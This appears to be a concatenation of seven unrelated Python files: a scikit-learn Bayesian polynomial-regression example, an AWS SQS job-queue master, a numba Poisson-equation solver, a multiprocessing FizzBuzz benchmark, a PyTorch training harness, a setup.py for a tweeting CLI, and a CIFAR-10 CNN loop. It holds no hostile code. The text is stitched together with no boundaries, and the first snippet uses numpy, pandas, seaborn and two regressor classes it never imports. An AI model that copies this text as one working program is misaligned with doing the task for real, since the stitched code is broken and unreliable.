# Bayesian regressions with polynomial feature expansion
# ======================================================
# Generate synthetic dataset
# --------------------------
# We create a target that is a non-linear function of the input feature.
# Noise following a standard uniform distribution is added.

from sklearn.pipeline import make_pipeline
from sklearn.preprocessing import PolynomialFeatures, StandardScaler

rng = np.random.RandomState(0)
n_samples = 110

# sort the data to make plotting easier later
X = np.sort(-10 * rng.rand(n_samples) + 10)
noise = rng.normal(0, 1, n_samples) * 1.35
y = np.sqrt(X) * np.sin(X) + noise
full_data = pd.DataFrame({"input_feature": X, "target": y})
X = X.reshape((-1, 1))

# extrapolation
X_plot = np.linspace(10, 10.4, 10)
y_plot = np.sqrt(X_plot) * np.sin(X_plot)
X_plot = np.concatenate((X, X_plot.reshape((-1, 1))))
y_plot = np.concatenate((y - noise, y_plot))

# %%
# Fit the regressors
# ------------------
#
# Here we try a degree 10 polynomial to potentially overfit, though the bayesian
# linear models regularize the size of the polynomial coefficients. As
# `fit_intercept=True` by default for
# :class:`~sklearn.linear_model.ARDRegression` and
# :class:`~sklearn.linear_model.BayesianRidge`, then
# :class:`~sklearn.preprocessing.PolynomialFeatures` should not introduce an
# additional bias feature. By setting `return_std=True`, the bayesian regressors
# return the standard deviation of the posterior distribution for the model
# parameters.

ard_poly = make_pipeline(
    PolynomialFeatures(degree=10, include_bias=False),
    StandardScaler(),
    ARDRegression(),
).fit(X, y)
brr_poly = make_pipeline(
    PolynomialFeatures(degree=10, include_bias=False),
    StandardScaler(),
    BayesianRidge(),
).fit(X, y)

y_ard, y_ard_std = ard_poly.predict(X_plot, return_std=True)
y_brr, y_brr_std = brr_poly.predict(X_plot, return_std=True)

# %%
# Plotting polynomial regressions with std errors of the scores
# -------------------------------------------------------------

ax = sns.scatterplot(
    data=full_data, x="input_feature", y="target", color="black", alpha=0.75
)
ax.plot(X_plot, y_plot, color="black", label="Ground Truth")
ax.plot(X_plot, y_brr, color="red", label="BayesianRidge with polynomial features")
ax.plot(X_plot, y_ard, color="navy", label="ARD with polynomial features")
ax.fill_between(
    X_plot.ravel(),
    y_ard - y_ard_std,
    y_ard + y_ard_std,
    color="navy",
    alpha=0.3,
)
ax.fill_between(
    X_plot.ravel(),
    y_brr - y_brr_std,
    y_brr + y_brr_std,
    color="red",
    alpha=0.3,
)
ax.legend()
_ = ax.set_title("Polynomial fit of a non-linear feature")

# %%
# The error bars represent one standard deviation of the predicted gaussian
# distribution of the query points. Notice that the ARD regression captures the
# ground truth the best when using the default parameters in both models, but
# further reducing the `lambda_init` hyperparameter of the Bayesian Ridge can
# reduce its bias (see example
# :ref:`sphx_glr_auto_examples_linear_model_plot_bayesian_ridge_curvefit.py`).
# Finally, due to the intrinsic limitations of a polynomial regression, both
# models fail when extrapolating.


import json
import logging
import os
import sys
from alive_progress import alive_bar

import boto3
logging.basicConfig(level=logging.INFO, handlers=[logging.StreamHandler(sys.stdout)])
log = logging.getLogger("master")

class Master:

    def __init__(self, supplier=None, reducer=None, terminate=None):
        self.supplier = supplier
        self.reducer = reducer
        self.terminate = terminate

    def start(self):
        log.info("Starting...")
        aws_region = boto3.session.Session().region_name
        sqs = boto3.client('sqs')
        aws_account_id = boto3.client('sts').get_caller_identity().get('Account')

        queue_jobs = "https://{}.queue.amazonaws.com/{}/{}".format(aws_region, aws_account_id, os.environ['Q_TASK'])
        queue_results = "https://{}.queue.amazonaws.com/{}/{}".format(aws_region, aws_account_id, os.environ['Q_RESULTS'])

        log.info("Task queue: {}".format(queue_jobs))
        log.info("Results queue: {}".format(queue_results))

        tasks_submitted = {}

        # Push the task in the queue
        log.info("Pushing tasks to SQS")
        with alive_bar() as bar:
            for task in self.supplier():
                body = json.dumps(task)
                response = sqs.send_message(
                    QueueUrl=queue_jobs,
                    DelaySeconds=1,
                    MessageBody=body
                )
                tasks_submitted[task['id']] = response['MessageId']
                # log.info("Queued {} ".format(body))
                bar()

        # Collect the results.
        accumulator = list()
        keep_polling = True
        empty_counter = 0

        print(" ")
        log.info("Waiting for the results!")

        with alive_bar(len(tasks_submitted)) as bar:
            while keep_polling:
                resp = sqs.receive_message(
                    QueueUrl=queue_results,
                    AttributeNames=['All'],
                    MaxNumberOfMessages=10,
                    VisibilityTimeout=120,
                    WaitTimeSeconds=20
                )

                message = None
                total_task = len(tasks_submitted)
                try:
                    for message in resp['Messages']:
                        body = message['Body']
                        result = json.loads(body)
                        sqs.delete_message(QueueUrl=queue_results, ReceiptHandle=message['ReceiptHandle'])
                        del tasks_submitted[result['id']]
                        self.reducer(result, accumulator, bar)
                        bar()
                        keep_polling = False if len(tasks_submitted) == 0 else True
                except KeyError:
                    empty_counter += 1
                    keep_polling = False if empty_counter > 10 or len(tasks_submitted) == 0 else True
                    # continue

        self.terminate(accumulator)


"""
finite difference 2D poisson equation with iterative method.

u[i,j] = 0.25*( u[i+1,j] + u[i-1,j] + u[i,j+1] + u[i,j-1] ) + 0.25*f*dx*dx
from: Computational Physics, P468 Eq(19.31)

date : 2018-05-21
author: kouui
"""
################################################################################

import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import numba as nb

################################################################################
@nb.jit(nb.void(nb.float64[:],nb.float64[:],nb.float64,nb.float64))
def solve2DPoisson_iter(u,f, dx2, dy2):
    """
    this function updates 2D poisson equation using Gauss-Seidel method.
    boudary condition: the 2 rows and 2 columns at boudary are all fixed.

    input:
        u   : 2darray, unknown in Poisson equation
        r   : 2darray, source term in Poisson equation
        dx2 : dx**2
        dy2 : dy**2

    output: void

    """
    for i in range(1,u.shape[0]-1):
        for j in range(1,u.shape[1]-1):
            u[i,j] = ( dy2*(u[i,j-1]+u[i,j+1]) + dx2*(u[i-1,j]+u[i+1,j]) + dx2*dy2*f[i,j] ) *0.5 / (dx2+dy2)

################################################################################

if __name__=="__main__":

    N = 101
    u = np.zeros((N,N), np.double)
    f = np.ones((N,N), np.double)
    x = np.linspace(0,1,N)
    y = np.linspace(0,1,N)
    dx2, dy2 = (x[1]-x[0])*(x[1]-x[0]), (y[1]-y[0])*(y[1]-y[0])
    errorMax = 1.

    #-- boundary
    #u[:,0] = 1.

    #-- solve
    iter = 1
    print(" iter \t errorMax")
    print("-"*20)
    while errorMax > 1.99E-6:
        if iter%100==0: print("{0:5d} \t {1:.2E} ".format(iter, errorMax))
        u_old = u.copy()
        solve2DPoisson_iter(u,f, dx2, dy2)
        errorMax = (abs(u[1:-1,1:-1] - u_old[1:-1,1:-1])).max()
        iter += 1

    #-- visualization
    X,Y = np.meshgrid(x,y)
    if True:
        fig = plt.figure(figsize=(4,4),dpi=150)
        ax = Axes3D(fig)
        #ax.plot_wireframe(X,Y,u, color="r")
        ax.plot_surface(X,Y,u, cmap="jet")
        plt.show()


from multiprocessing import Process
import time

class MyProcessor(Process):

    def __init__(self, num):
        super().__init__()
        self.__num = num

    def fizz_buzz(self, num: int):
        result_list = []
        for i in range(1, num + 1):
            result = ''
            if i % 3 == 0:
                result += 'fizz'
            if i % 5 == 0:
                result += 'buzz'
            if not result:
                result = str(i)
            result_list.append(result)
        return result_list

    def run(self):
        self.fizz_buzz(self.__num)

start = time.time()
processes = []
num_list = [12000000, 38000000, 28000000, 2520000, 22850000]
for n in num_list:
    process = MyProcessor(n)
    process.start()
    processes.append(process)
for p in processes:
    p.join()
stop = time.time()
print(f'multi process: {stop - start:.3f} seconds')


import torch
import torch.nn as nn
import LoadData
from torch.utils.tensorboard import SummaryWriter
from torch.utils.data import TensorDataset, DataLoader
import argparse
from pathlib import Path
import time
import pickle
from torch.optim.optimizer import Optimizer
import matplotlib
from matplotlib import pyplot as plt
import numpy as np
import os
import yaml
from argparse import Namespace
import models
os.environ["KMP_DUPLICATE_LIB_OK"]="TRUE"

if torch.cuda.is_available():
    DEVICE = torch.device("cuda")
else:
    DEVICE = torch.device("cpu")

#Code based on the code developed for the Applied Deep Learning unit coursework

#Trainer class
class Trainer:
    """
    Initialises the model
    Args: train and test data iterables, loss criterion, optimiser, summary writer, and torch device (CUDA or CPU)
    """
    def __init__(
        self,
        model: nn.Module,
        train_loader: DataLoader,
        val_loader: DataLoader,
        truth_train: DataLoader,
        truth_test: DataLoader,
        criterion: nn.Module,
        optimizer: Optimizer,
        summary_writer: SummaryWriter,
        device: torch.device,
    ):
        self.model = model.to(device)
        self.train_loader = train_loader
        self.val_loader = val_loader
        self.truth_train = truth_train
        self.truth_test = truth_test
        self.criterion = criterion
        self.optimizer = optimizer
        self.summary_writer = summary_writer
        self.step = 0
        self.device = device
        self.minLoss = -1
        self.minLossEpoch = 0
        self.stop = False
    """
    Trains the network
    Args: learning rate, number of epochs, validation frequency, print frequency, log frequency
    """
    def train(
        self,
        lr:float,
        epochs: int,
        val_frequency: int,
        print_frequency: int = 10,
        log_frequency: int = 10,
    ):
        #trains the model for the number of epochs
        for epoch in range(epochs):
            self.model.train()
            data_load_start_time = time.time()
            #iterates through the data in batches
            # for batch, labels in self.train_loader:
            for i, (batch, labels) in enumerate(zip(self.train_loader, self.truth_train)):
                print("Epoch " + str(epoch) + " batch "+ str(i))
                #turns the data into tensors of the appropriate type
                batch = batch[0].to(self.device)
                labels = labels[0].to(self.device)
                data_load_end_time = time.time()

                #Compute the forward pass of the model
                logits = torch.squeeze(self.model.forward(batch, noskip=args.noskip, transconv=args.transconv))
                # print(logits.shape)
                # print(labels[0].shape)
                #Compute the loss using the MSE Loss
                loss = self.criterion(logits, labels)

                #Compute the backward pass
                loss.backward()

                #Step the optimizer and then zero out the gradient buffers.
                self.optimizer.step()
                self.optimizer.zero_grad()

                #Logging
                data_load_time = data_load_end_time - data_load_start_time
                step_time = time.time() - data_load_end_time
                if ((self.step + 1) % log_frequency) == 0:
                    self.log_metrics(epoch, loss, data_load_time, step_time)
                if ((self.step + 1) % print_frequency) == 0:
                    self.print_metrics(epoch, loss, data_load_time, step_time)

                self.step += 1
                data_load_start_time = time.time()

            #Adds information to the summary writter/logger
            self.summary_writer.add_scalar("epoch", epoch, self.step)

            #Calculates the validation loss if it is the right epoch to do so
            if ((epoch + 1) % val_frequency) == 0:
                self.validate(epoch)
                # self.validate() puts the model in validation mode, so we then switch back to train mode
                PATH = "state_dict_model.pt"
                torch.save(self.model, PATH)
                self.model.train()
            if self.stop:
                break

    #Prints the current step and epoch, the batch loss, time taken to load the data, and time taken to complete the step
    def print_metrics(self, epoch, loss, data_load_time, step_time):
        epoch_step = self.step % len(self.train_loader)
        print(
                f"epoch: [{epoch}], "
                f"step: [{epoch_step}/{len(self.train_loader)}], "
                f"batch loss: {loss:.5f}, "
                f"data load time: "
                f"{data_load_time:.5f}, "
                f"step time: {step_time:.5f}"
        )
    #Adds the loss, time taken loading data, and time taken completing steps to the logs
    def log_metrics(self, epoch, loss, data_load_time, step_time):
        self.summary_writer.add_scalar("epoch", epoch, self.step)
        self.summary_writer.add_scalars(
                "loss",
                {"train": float(loss.item())},
                self.step
        )
        self.summary_writer.add_scalar(
                "time/data", data_load_time, self.step
        )
        self.summary_writer.add_scalar(
                "time/data", step_time, self.step
        )

    #Run the validation data through the network
    def validate(self, epoch):
        results = {"preds": [], "labels": [], "logits":[]}
        total_loss = 0
        self.model.eval()

        # No need to track gradients for validation, we're not optimizing.
        with torch.no_grad():
            for i, (batch, labels) in enumerate(zip(self.val_loader, self.truth_test)):
                batch = batch[0].to(self.device)
                labels = labels[0].to(self.device)
                logits = torch.squeeze(self.model(batch,noskip=args.noskip, transconv=args.transconv))
                results["logits"].extend(logits)
                loss = self.criterion(logits, labels)
                total_loss += loss.item()*len(batch)
                preds = logits.cpu().numpy()
                results["preds"].extend(list(preds))
                # fig, ax = plt.subplots()
                # print("should show plot now")
                # print(preds)
                #print(type(preds[0]))
                #print(type(labels[0]))
                # for j in range(batch.shape[0]):
                #     # print(j)
                #     # print(preds[j])
                #     fig, ax = plt.subplots(1,2)
                #     ax[0].contourf(preds[j],levels=51)
                #     ax[1].contourf(labels[j].cpu(),levels=51)
                #     plt.savefig("thing"+str(j)+".png")
                #     plt.clf()
        print(total_loss)
        #Store the predictions
        np.save('predictions.npy',results['preds'])

        #Calculate and print the average loss in the validation set
        average_loss = total_loss / len(self.val_loader.dataset)
        #Keeps track of the minimum loss and sets a flag to stop the training process if the loss has not decreased in a while
        if self.minLoss <0:
            self.minLoss=average_loss
            self.minLossEpoch=epoch
        elif average_loss < self.minLoss:
            self.minLoss=average_loss
            self.minLossEpoch=epoch
        elif epoch - self.minLossEpoch > 100:
            self.stop=True
        self.summary_writer.add_scalars(
                "loss",
                {"test": average_loss},
                self.step
        )
        print(f"validation loss: {average_loss:.5f}")

#Creates a unique sub directory to log this run in
def get_summary_writer_log_dir(args: argparse.Namespace) -> str:
    tb_log_dir_prefix = f'CNN_bs={args.batch_size}_lr={args.learning_rate}_momentum={args.momentum}_samples={args.samples}_run_'
    i = 0
    while i < 1000:
        tb_log_dir = Path(args.log_dir) / (tb_log_dir_prefix + str(i))
        if not tb_log_dir.exists():
            return str(tb_log_dir)
        i += 1
    return str(tb_log_dir)

def main(args):
    assert args.samples%10==0
    print("in main")
    #load the test and training data
    dataset, ground_truth, v = LoadData.load(args.samples, balancewind=args.balancewind, fixwind=args.fixwind, variables=args.vars, timestep=args.timestep)
    np.save('groundtruth.npy', ground_truth[int(args.samples*0.8):][0])
    global variance
    variance=v
    print("got dataset")
    print(len(dataset))
    train_dataset=TensorDataset(dataset[:int(args.samples*0.8)][0])
    test_dataset = TensorDataset(dataset[int(args.samples*0.8):][0])
    truth_train = TensorDataset(ground_truth[:int(args.samples*0.8)][0])
    truth_test = TensorDataset(ground_truth[int(args.samples*0.8):][0])
    #initialise the iterables for the training and validation sets
    train_loader = torch.utils.data.DataLoader(
        train_dataset,
        shuffle=False,
        batch_size=args.batch_size,
        pin_memory=True,
    )
    test_loader = torch.utils.data.DataLoader(
        test_dataset,
        shuffle=False,
        batch_size=args.batch_size,
        pin_memory=True,
    )
    truth_train_loader = torch.utils.data.DataLoader(
        truth_train,
        shuffle=False,
        batch_size=args.batch_size,
        pin_memory=True,
    )
    truth_test_loader = torch.utils.data.DataLoader(
        truth_test,
        shuffle=False,
        batch_size=args.batch_size,
        pin_memory=True,
    )
    # Initialises the network
    model_name=args.model
    model = getattr(models,model_name)(channels=len(args.vars),norm=args.norm, noskip=args.noskip, transconv=args.transconv)

    # Defines MSE loss criterion
    criterion = torch.nn.MSELoss()

    # Defines the Stochastic Gradient Descent optimiser with the given learning rate and momentum
    learn = float(args.learning_rate)
    print(model.parameters())
    if not args.adam:
        optimizer = torch.optim.SGD(model.parameters(), lr=args.learning_rate, momentum=args.momentum)
    else:
        optimizer = torch.optim.Adam(model.parameters(), lr=args.learning_rate, betas=(args.beta1, args.beta2))
    # Initiates log writting
    log_dir = get_summary_writer_log_dir(args)
    print(f"Writing logs to {log_dir}")
    summary_writer = SummaryWriter(
            str(log_dir),
            flush_secs=5
    )
    # Initialises the trainer class
    trainer = Trainer(
        model, train_loader, test_loader, truth_train_loader, truth_test_loader, criterion, optimizer, summary_writer, DEVICE
    )
    # Trains the model
    trainer.train(
        args.learning_rate,
        args.epochs,
        args.val_frequency,
        print_frequency=args.print_frequency,
        log_frequency=args.log_frequency,
    )
    # Closes the log writter
    summary_writer.close()

if __name__ == "__main__":
    print("hi")
    with open("args.yaml") as file:
        args=Namespace(**yaml.load(file,Loader=yaml.FullLoader))
        print(args)
    main(args)


"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""

from setuptools.command.install import install
from setuptools import setup, find_packages
from codecs import open
import os
import json
import shutil

from dotenv import load_dotenv
load_dotenv()

curr = os.path.abspath(os.path.dirname(__file__))
home = os.path.expanduser("~")

with open(os.path.join(curr, 'README.md'), encoding='utf-8') as f:
    long_description = f.read()

setup(
    name='twweet_cli',
    version='2.1.0',
    description='Tweet right from your cli without even opening your browser.',
    long_description=long_description,
    long_description_content_type="text/markdown",
    url='https://github.com/CruiseDevice/twweet-cli/',
    author='Akash Chavan',
    author_email='achavan1211@gmail.com',
    license='MIT',
    classifiers=[
        'Development Status :: 5 - Production/Stable',

        'License :: OSI Approved :: MIT License',

        'Programming Language :: Python :: 3.6',
    ],
    python_requires='>=3.6',
    keywords='twitter tweet cli',
    packages=find_packages(),
    install_requires=[
        'tweepy',
        'pyyaml',
        'python-dotenv',
    ],
    entry_points={
        'console_scripts': [
            'twweet-cli = twweet_cli.main:cli',
        ],
    },
)


import torch.optim
import torchvision
from torch import nn
from torch.nn import Conv2d, MaxPool2d, Flatten, Linear, Sequential
from torch.utils.data import DataLoader

class my_sequential(nn.Module):
    def __init__(self):
        super(my_sequential, self).__init__()
        self.model = Sequential(
            Conv2d(3, 32, 5, padding=2),
            MaxPool2d(2),
            Conv2d(32, 32, 5, padding=2),
            MaxPool2d(2),
            Conv2d(32, 64, 5, padding=2),
            MaxPool2d(2),
            Flatten(),
            Linear(1024, 64),
            Linear(64, 10)
        )
    def forward(self, X):
        return self.model(X)

dataset = torchvision.datasets.CIFAR10("./dataset", train=False, transform=torchvision.transforms.ToTensor(),
                                       download=False)
train = DataLoader(dataset, 64)
network = my_sequential()
loss = nn.CrossEntropyLoss()
optim = torch.optim.SGD(network.parameters(), lr=0.01)

for epoch in range(100):
    iter_loss = 0
    for data in train:
        imgs, target = data
        output = network(imgs)
        result_loss = loss(output, target)
        optim.zero_grad()
        result_loss.backward()
        optim.step()
        iter_loss += result_loss
    print(iter_loss)